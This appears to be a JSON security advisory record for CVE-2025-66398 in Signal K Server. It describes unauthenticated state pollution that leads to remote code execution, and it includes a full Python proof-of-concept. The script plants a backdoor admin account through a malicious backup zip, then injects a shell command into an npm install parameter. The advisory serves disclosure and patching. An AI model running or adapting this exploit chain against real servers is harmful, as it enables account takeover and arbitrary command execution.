{"id":"CVE-2025-66398","aliases":["GHSA-w3x5-7c4c-66p9"],"url":"https://o3.security/vulnerability/CVE-2025-66398","summary":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","details":"### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1.  **Global State**: `restoreFilePath` is defined at the top level of the module.\n    ```typescript\n    // src/serverroutes.ts\n    let restoreFilePath: string\n    ```\n2.  **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {\n      // ... handles file upload ...\n      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n    })\n    ```\n3.  **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {\n      // ...\n      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n      // ...\n    })\n    ```\n\n**Exploit Chain:**\n1.  **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2.  **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.\n3.  **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4.  **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n    print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n    \n    # 1. Create malicious zip with security.json\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, 'w') as z:\n        # Add backdoor admin user\n        security_config = {\n            \"users\": [{\n                \"username\": BACKDOOR_USER,\n                \"password\": BACKDOOR_PASS, \n                \"permissions\": \"admin\"\n            }]\n        }\n        z.writestr(\"security.json\", json.dumps(security_config))\n        # Enable security to make the backdoor effective\n        z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n    zip_buffer.seek(0)\n\n    # 2. Pollute State (Unauthenticated)\n    print(\"    [+] Sending malicious backup to /validateBackup...\")\n    res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})\n    if res.status_code != 200:\n        print(\"    [-] Failed to pollute state.\")\n        return False\n\n    # 3. Trigger Restore (Hijacking)\n    print(\"    [+] Triggering restore to overwrite server config...\")\n    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n    # Here we assume we can trigger it or security is currently off.\n    res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n    \n    if res.status_code in [200, 202]:\n        print(\"    [+] Restore triggered successfully. Backdoor planted.\")\n        print(\"    [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n        return True\n    else:\n        print(f\"    [-] Restore failed: {res.status_code} {res.text}\")\n        return False\n\ndef step2_execute_rce():\n    print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n    \n    # 1. Login\n    session = requests.Session()\n    login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n    res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n    \n    if res.status_code != 200:\n        print(\"    [-] Login failed. Did you restart the server?\")\n        return\n    \n    token = res.json()['token']\n    print(\"    [+] Login successful. Authenticated as Admin.\")\n\n    # 2. RCE Payload (Windows Example)\n    # Injecting command into version parameter of npm install\n    # Command: echo RCE_SUCCESS > rce_proof.txt\n    cmd_payload = \"1.0.0 & echo RCE_SUCCESS > rce_proof.txt &\"\n    \n    # We need a valid package name to bypass existence check\n    package_name = \"@signalk/freeboard-sk\" \n    \n    print(f\"    [+] Sending RCE payload: {cmd_payload}\")\n    headers = {'Authorization': f'Bearer {token}'}\n    try:\n        session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n                     headers=headers, timeout=5)\n    except:\n        pass # Timeout is expected as the command might hang or take time\n\n    print(\"    [+] Payload sent. Check for 'rce_proof.txt' in server root.\")\n\nif __name__ == \"__main__\":\n    # Run Step 1, then restart server manually, then Run Step 2\n    # step1_plant_backdoor()\n    step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.","published":"2026-01-01T18:00:38.575Z","modified":"2026-08-12T03:51:16.377480972Z","cvss":{"score":9.6,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"},"epss":{"score":0.18609,"percentile":0.97031,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"signalk-server","fixedVersion":"2.19.0"}],"fix":{"url":"https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8","label":"SignalK/signalk-server@5c211ea"},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66398.json"},{"type":"ADVISORY","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66398"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.377480972Z"}}